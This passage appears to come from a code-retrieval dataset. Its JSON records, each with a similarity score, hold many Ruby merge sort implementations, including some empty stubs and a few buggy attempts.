"score": "0.75192314",
"text": "def mergeSort(arr)\n puts \"Running merge sort on array: \" + arr.to_s\n temp = copyArr(arr)\n #this block determines what the subproblems that should be merged are\n splitMerge(temp, 1, arr) do |a, t, n|\n if n == 1\n return a\n end\n jump = a.length/n\n i = 0\n while i < a.length\n lo = i\n mid = (i + jump) - 1\n hi = mid + jump\n merge(a, lo, mid, hi, t)\n i = i + (jump*2)\n end\n t\n end\nend",
"title": ""
},
{
"docid": "2a784369d5c2a126aa3e73dc33edc037",
"score": "0.7512217",
"text": "def merge_sort(array, &prc)\n return array if array.length <= 1\n mid = array.length / 2\n left = array.take(mid)\n right = array.drop(mid)\n merged_left = merge_sort(left, &prc)\n merged_right = merge_sort(right, &prc)\n\n merge(merged_left, merged_right, &prc)\nend",
"title": ""
},
{
"docid": "29a5412668d9918b0115313c97af84d8",
"score": "0.74978715",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n\n mid = arr.length / 2\n left = merge_sort(arr.take(mid))\n right = merge_sort(arr.drop(mid))\n\n finished = helper_merge(left,right)\n \nend",
"title": ""
},
{
"docid": "a2fc2a8320d0042000af14c3fa417e9b",
"score": "0.74941814",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n arr2 = arr.shift(arr.length / 2)\n merge(merge_sort(arr),merge_sort(arr2))\nend",
"title": ""
},
{
"docid": "34d65b9421d6d40bb17cd444983533f0",
"score": "0.7493196",
"text": "def merge_sort(arr, result=[])\n return arr if arr.size == 1\n\n # Store arr size for the sake of cleaner code.\n size = arr.size\n\n # Split arr into two halves (+-1).\n arr1 = arr[0...size/2]\n arr2 = arr[size/2..size]\n\n # Call recursive merge_sort on arr halves.\n arr1 = merge_sort(arr1)\n arr2 = merge_sort(arr2)\n\n # Create pointers.\n arr_p = 0\n arr1_p = 0\n arr2_p = 0\n\n # Pick smaller element from two pointers and append to result array.\n while arr1_p < arr1.size && arr2_p < arr2.size\n if arr1[arr1_p] < arr2[arr2_p]\n result << arr1[arr1_p]\n\n arr1_p += 1 # Increment arr 1pointer.\n else\n result << arr2[arr2_p]\n arr2_p += 1 # Increment arr2 pointer.\n end\n arr_p += 1 # Increment arr pointer.\n end\n\n # When one list (arr) is exhausted, copy elements of other arr into result array.\n if arr1_p == arr1.size\n result += arr2[arr2_p..arr2.size] # Appent remaining arr2 elements to result.\n else\n result += arr1[arr1_p..arr1.size] # Appent remaining arr1 elements to result.\n end\n\n return result\n\nend",
"title": ""
},
{
"docid": "61b414914f4a393aafba99280a24fd0a",
"score": "0.74844646",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n mid_idx = arr.length / 2\n left = merge_sort(arr[0...mid_idx])\n right = merge_sort(arr[mid_idx..-1])\n merge(left, right)\nend",
"title": ""
},
{
"docid": "7405b3d788fb5c60920ac95cd177cee5",
"score": "0.7477869",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n mid_val = arr.length / 2\n lower = arr[0...mid_val]\n upper = arr[mid_val..-1]\n arr1 = merge_sort(upper)\n arr2 = merge_sort(lower)\n merge(arr1, arr2)\nend",
"title": ""
},
{
"docid": "bb4583a5d774ab462712ca0d539d24f4",
"score": "0.7467573",
"text": "def merge_sort(arr)\n\tif arr.length == 1\n\t\treturn arr\n\telse\n\t\tn = arr.size-1\n\t\tmerge(merge_sort(arr[0..n/2]), merge_sort(arr[(n/2)+1..n]))\n\tend\nend",
"title": ""
},
{
"docid": "a091803c1531ba633fa503ae70e1438b",
"score": "0.7467307",
"text": "def merge_sort(array)\n return array if array.length <= 1\n middle_index = array.length/2-1\n arry1 = array[0..middle_index]\n arry2 = array[(middle_index + 1)..-1]\n #Should be sorted by the time it reaches merge\n b = merge_sort(arry1)\n c = merge_sort(arry2)\n merge(b,c)\n\nend",
"title": ""
},
{
"docid": "a70356941a34b2e9b63b13dfd96cf13c",
"score": "0.7466292",
"text": "def merge_sort(arr)\n return arr if arr.length<2\n\n middle_idx = arr.length/2\n left_arr = arr[0..(middle_idx-1)]\n right_arr = arr[middle_idx..-1]\n\n left_arr = merge_sort(left_arr)\n right_arr = merge_sort(right_arr)\n merge(left_arr,right_arr)\nend",
"title": ""
},
{
"docid": "974c759c26718c8de540857c16686057",
"score": "0.7465004",
"text": "def merge_sort(arr)\n\treturn arr if arr.length < 2\n\tleft = arr.slice(0...arr.length/2)\n\tright = arr.slice(arr.length/2..-1)\n\tmerge_sort(left)\n\tmerge_sort(right)\n\tr = l = k = 0\n\twhile l < left.length && r < right.length do\n\t\tif left[l] > right[r]\n\t\t\tarr[k] = right[r]\n\t\t\tr += 1\n\t\telse\n\t\t\tarr[k] = left[l]\n\t\t\tl += 1\n\t\tend\n\t\tk += 1\n\tend\n\twhile l < left.length do\n\t\tarr[k] = left[l]\n\t\tl += 1\n\t\tk += 1\n\tend\n\twhile r < right.length do\n\t\tarr[k] = right[r]\n\t\tr += 1\n\t\tk += 1\n\tend\n\tarr\nend",
"title": ""
},
{
"docid": "a70dc658c72c601a8d9ae0cd9a87f760",
"score": "0.74646205",
"text": "def merge_sort(array) # without proc \n return array if array.count <= 1\n mid = array.size / 2 \n\n left, right = array.take(mid), array.drop(mid)\n sorted_left, sorted_right = merge_sort(left), merge_sort(right)\n\n merge(sorted_left, sorted_right)\nend",
"title": ""
},
{
"docid": "f8e42b9a4370d90b680c52b660340b21",
"score": "0.74610543",
"text": "def new_merge(arr)\n if arr.length <2 \n return arr\n # elsif arr.length == 2\n # if arr[0] > arr[1]\n # return [arr[1], arr[0]]\n # else\n # return arr\n # end\n else\n #sort left\n l = new_merge(arr[0, (arr.length/2)+ arr.length % 2])\n #sort right\n r = new_merge(arr[(arr.length/2)+ arr.length % 2, arr.length])\n #merge\n num_times = l.length + r.length\n l_place = 0\n r_place = 0\n merged_array =[]\n num_times.times {\n if l_place == l.length\n merged_array.push(r[r_place, r.length])\n elsif r_place == r.length\n merged_array.push(l[l_place, l.length]) \n elsif l[l_place] < r[r_place]\n merged_array.push(l[l_place])\n l_place += 1\n else\n merged_array.push(r[r_place])\n r_place += 1\n end\n }\n return merged_array.flatten\n end\nend",
"title": ""
},
{
"docid": "be745807ef3a168aae95ada921884472",
"score": "0.7450777",
"text": "def merge_sort(arr, &prc)\n return arr if arr.length == 1\n prc ||= Proc.new { |a, b| a <=> b }\n\n pivot = arr.length / 2\n\n left = arr.take(pivot)\n right = arr.drop(pivot)\n #p \"left: #{left} right: #{right}\"\n left_sorted = merge_sort(left, &prc)\n right_sorted = merge_sort(right, &prc)\n #p \"left_sorted: #{left_sorted} right_sorted: #{right_sorted}\"\n\n merge(left_sorted, right_sorted, &prc)\nend",
"title": ""
},
{
"docid": "f8c3a7e453f83cc7314cfedf52a3dbbf",
"score": "0.7449201",
"text": "def mergesort(arr)\n return arr if arr.length <= 1\n copy = arr.dup\n m = copy.length / 2\n left = copy[0...m]\n right = copy[m..-1]\n left_sorted = mergesort(left)\n right_sorted = mergesort(right)\n merge(left_sorted, right_sorted)\nend",
"title": ""
},
{
"docid": "d033ca15691c2b3c7f97aaf16fcc2733",
"score": "0.74474365",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n # first_part = arr[0..arr.length / 2]\n first_part = arr[0..arr.length / 2 - 1]\n # p first_part\n second_part = arr[arr.length / 2..-1]\n # p second_part\n merge(merge_sort(first_part), merge_sort(second_part))\nend",
"title": ""
},
{
"docid": "b4cfc7e651465c8c64d2dc6c7a9f8663",
"score": "0.74459434",
"text": "def merge_sort(array)\nend",
"title": ""
},
{
"docid": "b4cfc7e651465c8c64d2dc6c7a9f8663",
"score": "0.74459434",
"text": "def merge_sort(array)\nend",
"title": ""
},
{
"docid": "97b50eb42447d39cf9f0533a9e920719",
"score": "0.74439734",
"text": "def merge_sort(arr)\n\n # pp arr\n\n # Base case when arr's length is only 1\n\n len = arr.length\n return arr if len < 2\n\n # Find mid index and split array into two\n\n mid = (len.to_f/2).round - 1\n left = arr[0..mid]\n right = arr[mid+1..len-1]\n\n # Switch left with right if left is bigger\n\n if left[0] > right[0]\n temp = left\n left = right\n right = temp\n end\n\n # Recursion until every chunk has been sorted\n\n left = merge_sort(left)\n right = merge_sort(right)\n\n # Merge each half into whole\n\n total_len = left.length + right.length\n merge(left, right, total_len)\nend",
"title": ""
},
{
"docid": "2c1956a987117223882af0c4d6f64aaa",
"score": "0.74403846",
"text": "def merge_sort(array)\n return array if array.size == 1 # once arrays get down to 1, will skip the recursive part\n \n sub_arr1 << array[(0...array.size/2)]\n sub_arr2 << array[array.size/2...array.size]\n \n sub_arr1 = merge_sort(sub_arr1)\n sub_arr2 = merge_sort(sub_arr2)\n \n merge(sub_arr1, sub_arr2) # from previous exercise\nend",
"title": ""
},
{
"docid": "5a2196e3d2576e67dbebe01d04bd9a8b",
"score": "0.7424768",
"text": "def merge_sort(arr)\n return arr unless arr.size > 1\n mid = arr.size/2\n a, b, sorted = merge_sort(arr[0...mid]), merge_sort(arr[mid..-1]), []\n sorted << (a[0] < b[0] ? a.shift : b.shift) while [a,b].none?(&:empty?)\n sorted + a + b\nend",
"title": ""
},
{
"docid": "c0683d55578c7bf0e8c47ccc4a4fce64",
"score": "0.7423959",
"text": "def merge_sort(arr)\n return arr if arr.length == 1\n\n mid = arr.length/2\n left = arr.drop(mid)\n right = arr.take(mid)\n\n sorted_left = merge_sort(left)\n sorted_right = merge_sort(right)\n return merge(sorted_left,sorted_right)\nend",
"title": ""
},
{
"docid": "ddb94eb7754e740288e03941936e57e7",
"score": "0.7422742",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n mid = arr.length / 2\n\n left = merge_sort(arr.take(mid))\n right = merge_sort(arr.drop(mid))\n merge(left, right)\nend",
"title": ""
},
{
"docid": "4262dc399bea443e1a8874b8b6f64f52",
"score": "0.7421552",
"text": "def merge_sort2(array)\n if array.size <= 1\n array\n else\n midpoint = (array.size - 1) / 2\n merge2(merge_sort2(array[0..midpoint]), merge_sort2(array[midpoint+1...array.size]))\n end\nend",
"title": ""
},
{
"docid": "61d280f774a86d34ad7c96c307d2a0b6",
"score": "0.74195254",
"text": "def quick_sort (in_arr, ordered)\n arr = Array.new(in_arr)\n quick_kernel(arr, 0, arr.length-1, ordered)\n return arr\nend",
"title": ""
},
{
"docid": "ccac428b7a82042397ba79da79392b12",
"score": "0.7419007",
"text": "def merge_sort(arr)\n return arr unless arr.size > 1\n\n mid = arr.size / 2\n left = merge_sort(arr[0...mid])\n right = merge_sort(arr[mid..-1])\n\n merge(left, right)\nend",
"title": ""
},
{
"docid": "b528c1cda440853cd6cda9f61415b686",
"score": "0.74187213",
"text": "def merge_sort(arr)\n\tl = arr.length\n\n\treturn arr if l <= 1\n\n\tleft = merge_sort(arr.take(l/2))\n\tright = merge_sort(arr.drop(l/2))\n\n\treturn merge(left, right)\nend",
"title": ""
},
{
"docid": "6178c7da6f253581656883d2d9ea49b9",
"score": "0.74134785",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1 \n\n mid = arr.length/2\n left_arr = arr[0...mid]\n right_arr = arr[mid..-1]\n\n sorted_left_arr = merge_sort(left_arr)\n sorted_right_arr = merge_sort(right_arr)\n\n merge(sorted_left_arr, sorted_right_arr)\n end",
"title": ""
},
{
"docid": "124ed83966a5faebbd9b67a9a8958b2e",
"score": "0.7410794",
"text": "def merge_sort(arr)\n return arr if arr.length == 1\n midpoint = (arr.length - 1) / 2\n\n arr_1 = merge_sort(arr[0..midpoint])\n arr_2 = merge_sort(arr[(midpoint + 1)..(arr.length - 1)])\n\n return merge(arr_1, arr_2)\nend",
"title": ""
},
{
"docid": "9031a26f170902d438ad2cf4642639d5",
"score": "0.740682",
"text": "def merge_sort(arr)\n\n #base case\n if arr.length <= 1\n return arr\n else\n middle_idx = (arr.length - 1) / 2\n lower_half = merge_sort(arr[0..middle_idx])\n upper_half = merge_sort(arr[middle_idx+1..-1])\n end\n\n\n return merge(lower_half, upper_half)\nend",
"title": ""
},
{
"docid": "7b719152381b7ddfd0e90b4378b46f78",
"score": "0.7404331",
"text": "def mergesort(arr)\n return arr if arr.length < 2\n\n left_merged_stuff = mergesort(arr[0..((arr.length/2)-1)])\n right_merged_stuff = mergesort(arr[(arr.length/2)..-1])\n merge(left_merged_stuff, right_merged_stuff)\nend",
"title": ""
},
{
"docid": "f865df26b12bc524d39dc764f93c3475",
"score": "0.74040306",
"text": "def merge_sort(array)\n return array if array.length == 1 \n midpoint = array.length/2\n a = array[0..midpoint-1]\n b = array[midpoint..array.length-1]\n new_a = merge_sort(a) \n new_b = merge_sort(b) \n new_arr = merge(new_a, new_b)\n return new_arr\nend",
"title": ""
},
{
"docid": "4089de50bcca2307d8b327b8a99a2e4c",
"score": "0.740209",
"text": "def merge_sort(unsorted_arr)\n return unsorted_arr if unsorted_arr.length <= 1\n\n left = merge_sort( unsorted_arr[0..(unsorted_arr.length/2 - 1) ] )\n right = merge_sort( unsorted_arr[(unsorted_arr.length/2)..-1])\n merge(left, right)\nend",
"title": ""
},
{
"docid": "2a1743d033e26572494a1b6dda465d1e",
"score": "0.7392106",
"text": "def merge_sort(arr)\n midpoint = arr.length / 2\n if arr.length > 2\n first_half = arr[0...midpoint]\n second_half = arr[midpoint...arr.length]\n #debugger\n return merge(merge_sort(first_half), merge_sort(second_half))\n #return merge(merge_sort(arr[0...midpoint]), merge_sort(arr[midpoint...arr.length]))\n p \"merge complete\"\n #debugger\n elsif arr.length == 1\n return arr\n else\n if arr[0] < arr[1]\n return arr\n else\n return [arr[1], arr[0]]\n end\n end\nend",
"title": ""
},
{
"docid": "85fb063a76343ea20d666278bc496d33",
"score": "0.7390834",
"text": "def mergesort(arr)\n return arr if arr.size <= 1\n\n mid = arr.size / 2\n arr_left = mergesort(arr.take(mid))\n arr_right = mergesort(arr.drop(mid))\n\n merge(arr_left, arr_right)\nend",
"title": ""
},
{
"docid": "ad397bad3b3220d1d2e55ba34c66f443",
"score": "0.73792356",
"text": "def mergesort(array)\n def merge(left_sorted, right_sorted)\n res = []\n l = 0\n r = 0\n\n loop do\n break if r >= right_sorted.length and l >= left_sorted.length\n\n if r >= right_sorted.length or (l < left_sorted.length and left_sorted[l] < right_sorted[r])\n res << left_sorted[l]\n l += 1\n else\n res << right_sorted[r]\n r += 1\n end\n end\n\n return res\n end\n\n def mergesort_iter(array_sliced)\n return array_sliced if array_sliced.length <= 1\n\n mid = array_sliced.length/2 - 1\n left_sorted = mergesort_iter(array_sliced[0..mid])\n right_sorted = mergesort_iter(array_sliced[mid+1..-1])\n return merge(left_sorted, right_sorted)\n end\n\n mergesort_iter(array)\nend",
"title": ""
},
{
"docid": "ad397bad3b3220d1d2e55ba34c66f443",
"score": "0.73792356",
"text": "def mergesort(array)\n def merge(left_sorted, right_sorted)\n res = []\n l = 0\n r = 0\n\n loop do\n break if r >= right_sorted.length and l >= left_sorted.length\n\n if r >= right_sorted.length or (l < left_sorted.length and left_sorted[l] < right_sorted[r])\n res << left_sorted[l]\n l += 1\n else\n res << right_sorted[r]\n r += 1\n end\n end\n\n return res\n end\n\n def mergesort_iter(array_sliced)\n return array_sliced if array_sliced.length <= 1\n\n mid = array_sliced.length/2 - 1\n left_sorted = mergesort_iter(array_sliced[0..mid])\n right_sorted = mergesort_iter(array_sliced[mid+1..-1])\n return merge(left_sorted, right_sorted)\n end\n\n mergesort_iter(array)\nend",
"title": ""
},
{
"docid": "159bc4d733fabfb3e2a4030d1a47a913",
"score": "0.737679",
"text": "def merge_sort array\nend",
"title": ""
},
{
"docid": "2d30d92ee317293d81eed024fc9628e0",
"score": "0.737451",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n index = arr.length / 2\n left = merge_sort(arr[0...index])\n right = merge_sort(arr[index..-1])\n merge(left, right)\nend",
"title": ""
},
{
"docid": "d64dd18e42de9a09964f4eff0e4643fa",
"score": "0.7373654",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n mid_idx = arr.length / 2\n left = arr[0...mid_idx]\n right = arr[mid_idx .. -1]\n sorted_left = merge_sort(left)\n sorted_right = merge_sort(right)\n merge(sorted_left, sorted_right)\nend",
"title": ""
},
{
"docid": "e848f730fa7885fa1ab58badbece9ff9",
"score": "0.736795",
"text": "def merge_sort(arr)\n if arr.length <= 1\n arr\n else\n mid = (arr.length / 2).floor\n left = merge_sort(arr[0..mid - 1])\n right = merge_sort(arr[mid..arr.length])\n merge(left, right)\n end\nend",
"title": ""
},
{
"docid": "5b87f17a4100434a58044a70fea2d54a",
"score": "0.7365151",
"text": "def merge_sort(arr)\n return arr if arr.length < 2\n mid = arr.length / 2\n \n left = arr.take(mid)\n right = arr.drop(mid)\n sorted_left = merge_sort(left)\n sorted_right = merge_sort(right)\n merge(sorted_left, sorted_right)\nend",
"title": ""
},
{
"docid": "ee94138fdfde1895c9063765de52f8d9",
"score": "0.7360967",
"text": "def merge_sort(array)\n return array if array.length == 1 #until the list is broken down enough, only then can all the pending merge(left) and merge(right) sort the entire array \n \n midpoint = array.length / 2\n left = array.slice(0, midpoint - 1)\n right = array.slice(midpoint, array.length)\n merge(merge_sort(left), merge_sort(right))\nend",
"title": ""
},
{
"docid": "e2df4fc0fd489297e81866b752fa67e7",
"score": "0.73589885",
"text": "def merge_sort(array, &prc)\n return array if array.length <= 1\n prc ||= Proc.new { |x,y| x <=> y }\n\n mid = array.length / 2\n sorted_left = merge_sort(array.take(mid), &prc)\n sorted_right = merge_sort(array.drop(mid), &prc)\n\n merge(sorted_left, sorted_right, &prc)\nend",
"title": ""
},
{
"docid": "6b9b600ea4d997172f0ecae3957d4bad",
"score": "0.734639",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n mid = (arr.length / 2)\n left = merge_sort(arr[0...mid])\n right = merge_sort(arr[mid..-1])\n merge(left,right)\nend",
"title": ""
},
{
"docid": "042fc0e78c4ca73da112c387006e1b6a",
"score": "0.7344013",
"text": "def merge_sort(array)\n\nend",
"title": ""
},
{
"docid": "042fc0e78c4ca73da112c387006e1b6a",
"score": "0.7344013",
"text": "def merge_sort(array)\n\nend",
"title": ""
},
{
"docid": "b47e3dd1683900026364e05eab9b544a",
"score": "0.73364615",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n\n leftArr = arr[0...arr.length / 2]\n rightArr = arr[(arr.length / 2)...arr.length]\n\n left = merge_sort(leftArr)\n right = merge_sort(rightArr)\n\n merge(left, right)\nend",
"title": ""
},
{
"docid": "c7521153fb8aa62e2488e185f0904b4b",
"score": "0.73345023",
"text": "def merge_sort2(arr)\n\treturn arr if arr.length < 2\n\tleft = arr.slice(0...arr.length/2)\n\tright = arr.slice(arr.length/2..arr.length)\n\tprint merge_sort2(left)\n\tprint merge_sort2(right)\n\t#merge(merge_sort(left),merge_sort(right),arr)\nend",
"title": ""
},
{
"docid": "01f5e08582bc2a3dc37c479a2c4a4d36",
"score": "0.73248345",
"text": "def merge_sort_array(a)\n\tk = 4\n\t#merge_sort(a, 0, a.length-1)\n\tmerge_sort_insertion(a, 0, a.length - 1, k)\nend",
"title": ""
},
{
"docid": "571b5c7b6fa2227b545041d79b3c8fdf",
"score": "0.7318727",
"text": "def merge_sort(array)\n return array if array.size < 2\n mid = array.size/2\n left = array[0,mid]\n right = array[mid..-1]\n left = merge_sort(left)\n right = merge_sort(right)\n merge(left, right)\nend",
"title": ""
},
{
"docid": "420da8b0742660d3efbfb0be89c9f684",
"score": "0.73173463",
"text": "def merge_sort(arr)\n return arr if arr.size <= 1\n middle = arr.size / 2\n merge(merge_sort(arr.take(middle)),merge_sort(arr.drop(middle)))\nend",
"title": ""
},
{
"docid": "14ccf282e52b292e9fc711f2e6c15b8b",
"score": "0.7315055",
"text": "def merge_sort(array)\n #Check if the array is larger than one. No need to sort if not\n if array.count <= 1\n return array\n end\n\n mid = array.count / 2\n\n #recursive call to break input array up into smaller single\n #element arrays that can then be merged back together in a\n #sorted order.\n part_a = merge_sort(array.slice(0, mid))\n part_b = merge_sort(array.slice(mid, array.count - mid))\n\n new_array = []\n offset_a = 0\n offset_b = 0\n\n #Merge the smaller arrays together by comparing the first\n #element and pushing the smaller of the two to the new\n #array\n while offset_a < part_a.count && offset_b < part_b.count\n a = part_a[offset_a]\n b = part_b[offset_b]\n\n if a <= b\n new_array << a\n offset_a += 1\n else\n new_array << b\n offset_b += 1\n end\n end\n\n #There might be left over item that has not been pushed in\n #either part_a or part_b. This handles that case.\n while offset_a < part_a.count\n new_array << part_a[offset_a]\n offset_a += 1\n end\n\n while offset_b < part_b.count\n new_array << part_b[offset_b]\n offset_b += 1\n end\n\n return new_array\nend",
"title": ""
},
{
"docid": "41ba63ad61655bed4f1d12a81513e705",
"score": "0.73144364",
"text": "def merge_sort(arr)\n return arr if arr.length < 2\n\n mid = arr.length / 2\n left = arr[0...mid]\n right = arr[mid..-1]\n left_sort = merge_sort(left)\n right_sort = merge_sort(right)\n\n merge(left_sort, right_sort)\nend",
"title": ""
},
{
"docid": "00d1baad05b29e164bea5f36e2b81d33",
"score": "0.730877",
"text": "def merge_sort(arr) # [5,1,7,10,15]\n return [] if arr.length == 0\n return arr if arr.length == 1\n mid = arr.length / 2 # mid = 2\n #merge_sort([1,5,7]) merge_sort([10,15])\n # p arr\n merge(merge_sort(arr[0...mid]), merge_sort(arr[(mid + 1)..-1]))\n\nend",
"title": ""
},
{
"docid": "1bb4ccbe3311468e5ef4078c42cae228",
"score": "0.7303152",
"text": "def merge_sort_private(array)\n return array if array.length < 2\n\n midpoint = (array.length / 2.0).ceil # to consistently put midpoint in the right sub_array\n left_sorted_sub_array = merge_sort_private(array[0..midpoint - 1])\n right_sorted_sub_array = merge_sort_private(array[midpoint..-1])\n merge_two_subarrays(left_sorted_sub_array, right_sorted_sub_array)\n end",
"title": ""
},
{
"docid": "b785c71664abf519f59fb2519a8a6c9e",
"score": "0.72936696",
"text": "def merge_sort_with_extra_arrays(array)\n\n if array.size <= 1\n return array\n end\n \n partition = ((array.size - 1 ) / 2).floor \n \n left_array = []\n right_array = []\n sorted_array = []\n \n array.each_index do |index|\n if index <= partition\n left_array.push(array[index])\n else\n right_array.push(array[index])\n end\n \n end\n\n left_array = merge_sort_with_extra_arrays(left_array)\n right_array = merge_sort_with_extra_arrays(right_array)\n\n index = 0\n r_index = 0\n times = 0\n while (index + r_index) < array.size\n # puts \"left #{index} right #{index}, #{left_array.size + right_array.size}\"\n # p left_array\n # p right_array\n # p sorted_array\n if index < left_array.size and r_index < right_array.size\n if left_array[index] <= right_array[r_index]\n sorted_array.push(left_array[index])\n index += 1 \n else\n sorted_array.push(right_array[r_index])\n r_index += 1\n end\n elsif index == (left_array.size ) and r_index < right_array.size\n sorted_array.push(right_array[r_index])\n r_index += 1\n elsif r_index == (right_array.size ) and index < left_array.size\n sorted_array.push(left_array[index])\n index += 1\n end\n end\n return sorted_array\nend",
"title": ""
},
{
"docid": "9b9ed8320b9530ec85602456a7fcd8eb",
"score": "0.7290322",
"text": "def merge_sort arr\n if arr.length <= 1\n arr\n else\n mid = arr.length/2\n left_half = arr.slice(0...mid)\n right_half = arr.slice(mid...arr.length)\n merge merge_sort(left_half), merge_sort(right_half)\n end\nend",
"title": ""
},
{
"docid": "21e92507b36f9c325223a008a00ffeb5",
"score": "0.7288102",
"text": "def merge_sort\n return self if self.size <= 1\n\n mid = (self.length / 2).floor\n\n # divide the array\n lhs = self.slice(0, mid).merge_sort\n rhs = self.slice(mid, self.length).merge_sort\n\n merge(lhs, rhs)\n end",
"title": ""
},
{
"docid": "92f129ed88acdaefa7bd2848764adb28",
"score": "0.72880304",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n\n merge(merge_sort(arr[0...arr.length/2]), merge_sort(arr[arr.length/2..-1]))\n\nend",
"title": ""
},
{
"docid": "cf49d6f7e633458ae5edbe28ea888b73",
"score": "0.7285006",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n\n middle_idx = (arr.length / 2) - 1\n\n left = arr[0..middle_idx]\n right = arr[middle_idx + 1..-1]\n\n sorted_left = merge_sort(left)\n sorted_right = merge_sort(right)\n\n merge(sorted_left, sorted_right)\nend",
"title": ""
},
{
"docid": "a25f1481c97955c30d3b2f79eaf076d7",
"score": "0.7282639",
"text": "def merge_sort(arr)\n return arr if arr.size < 2\n\n midpoint = arr.size / 2\n left = arr.take(midpoint)\n right = arr.drop(midpoint)\n\n merge(merge_sort(left), merge_sort(right))\nend",
"title": ""
},
{
"docid": "bfb72efad3ed65559d2f990981622736",
"score": "0.72789985",
"text": "def merge_sort(arr)\n return arr if arr.size == 1\n\n middle = arr.size / 2\n left_half = arr[0...middle]\n right_half = arr[middle..arr.size]\n\n lh = merge_sort(left_half)\n rh = merge_sort(right_half)\n\n merge = proc do |left_half, right_half|\n result = []\n\n while !left_half.empty? && !right_half.empty?\n if left_half.first > right_half.first\n result.push(right_half.delete_at(0))\n else\n result.push(left_half.delete_at(0))\n end\n end\n\n result.push(left_half.delete_at(0)) until left_half.empty?\n\n result.push(right_half.delete_at(0)) until right_half.empty?\n\n result\n end\n merge.call(lh, rh)\nend",
"title": ""
},
{
"docid": "c28f199ff0df7ddf2de0730dfb9e9779",
"score": "0.7277341",
"text": "def merge_sort(input_array)\n if input_array.length < 2\n return input_array\n end\n #Stores the left half of the input_array:\n #Takes into account whether the size is even or odd\n left_array = input_array.slice!(0, input_array.length/2.ceil)\n return merge(merge_sort(left_array), merge_sort(input_array))\nend",
"title": ""
},
{
"docid": "2984cd0ada9e906c03a98c14ef705ed2",
"score": "0.7276458",
"text": "def merge_sort(ary)\r\n # i don't particularly like an algorithm that counts the number of elements\r\n # in order to determine the length of the data set for each subset. Since\r\n # the length can be counted the very first time, the subsequent lengths\r\n # should simply be calculated and passed along instead of counted. \r\n # However since the problem statement specifies the argument for merge_sort \r\n # is only an array i can not pass the calculated length to each recursive \r\n # merge_sort.\r\n length = ary.length\r\n return ary if length == 1\r\n # shift right is more efficient that divide by 2\r\n middle = length>>1\r\n #puts \"middle = #{middle}\"\r\n #print ary\r\n #puts\r\n left = merge_sort(ary[0..middle-1])\r\n right = merge_sort(ary[middle..length-1])\r\n merge(left,right)\r\nend",
"title": ""
},
{
"docid": "1e49adf11596bc15097b06de2efb1fc1",
"score": "0.7276029",
"text": "def merge_sort(arr)\n return arr if arr.length == 1\n merge(merge_sort(arr.slice(0, arr.length/2)),\n merge_sort(arr.slice(arr.length/2, arr[-1])))\nend",
"title": ""
},
{
"docid": "5fce3c4a91792097037e5130bc350546",
"score": "0.72754234",
"text": "def merge_sort_compressed(arr)\n return arr unless arr.size > 1\n mid = arr.size/2\n a, b, sorted = merge_sort_compressed(arr[0...mid]), merge_sort_compressed(arr[mid..-1]), []\n sorted << (a[0] < b[0] ? a.shift : b.shift) while [a,b].none?(&:empty?)\n sorted + a + b\nend",
"title": ""
},
{
"docid": "d23bf16b6e74e79afd2a58f71eb833f6",
"score": "0.72505516",
"text": "def merge_sort(arr)\n return arr if arr.length < 2\n\n h = arr.length / 2\n left_half = arr.slice(0, h)\n right_half = arr.slice(h, arr.length)\n merged_arr = (merge_sort(left_half).concat(merge_sort(right_half))).sort\nend",
"title": ""
},
{
"docid": "2207f3eb7ba42e633af3d06dc68f729f",
"score": "0.7250386",
"text": "def merge_sort(array, &prc) # 3 times \n prc ||= Proc.new { |a, b| a <=> b }\n return array if array.size <= 1\n mid = array.count / 2\n\n left, right = array.take(mid), array.drop(mid)\n sorted_left, sorted_right = merge_sort(left, &prc), merge_sort(right, &prc)\n\n merge(sorted_left, sorted_right, &prc)\nend",
"title": ""
},
{
"docid": "f1cbbd6aeaee55fd772371e8a90eb35d",
"score": "0.7245798",
"text": "def merge_sort(array)\n # \nend",
"title": ""
},
{
"docid": "72290bacefc4895c371874d8a2433bce",
"score": "0.7239735",
"text": "def merge_sort(arr) #[3,1]\n return nil if arr.length == 0\n return arr if arr.length == 1\n return merge([arr[0]], [arr[1]]) if arr.length == 2\n\n mid = arr.length/2 #mid: 1\n left_array = arr[0...mid] #[3]\n right_array = arr[mid..-1] #[1]\n \n \n merge_sort(left_array) + merge_sort(right_array)\n\n \nend",
"title": ""
},
{
"docid": "5894ebdd4dad81ec505a90ab39e2da4f",
"score": "0.7233839",
"text": "def merge_sort(unsorted)\n # first divide halves, when array only has one left = done\n if unsorted.length <=1 \n return unsorted\n else\n mid = unsorted.length/2\n half1 = merge_sort(unsorted.slice(0...mid))\n half2 = merge_sort(unsorted.slice(mid...unsorted.length))\n merge(half1, half2)\n end\nend",
"title": ""
},
{
"docid": "80fe7a50fe0a9a16d3fc6715181e1894",
"score": "0.7231905",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n split_index = arr.length/2\n # the key is that the recursive call is *before* the return so all of the individual elements will be returned before they are merged amazing\n left_half = merge_sort(arr[0...split_index]) # these will just return all the individual elements broken down, then merged, pretty amazing\n right_half = merge_sort(arr[split_index..-1]) # these will also return all the individual elements broken down\n merge(left_half, right_half) # this will merge them all back together\nend",
"title": ""
},
{
"docid": "69c2743032628acab17c995deaf7fd5d",
"score": "0.7230261",
"text": "def merge_sort(arr)\n return arr if arr.count <= 1\n\n mid = arr.count / 2\n\n left_sorted = merge_sort(arr[0...mid])\n right_sorted = merge_sort(arr[mid..-1])\n\n merged = []\n\n until left_sorted.empty? && right_sorted.empty? do\n if (!left_sorted.empty? && (right_sorted.empty? || left_sorted[0] < right_sorted[0]))\n merged << left_sorted.shift\n else\n merged << right_sorted.shift\n end\n end\n\n merged\nend",
"title": ""
},
{
"docid": "f0e45bcc857e0205e5e74d47b734e8a4",
"score": "0.7226917",
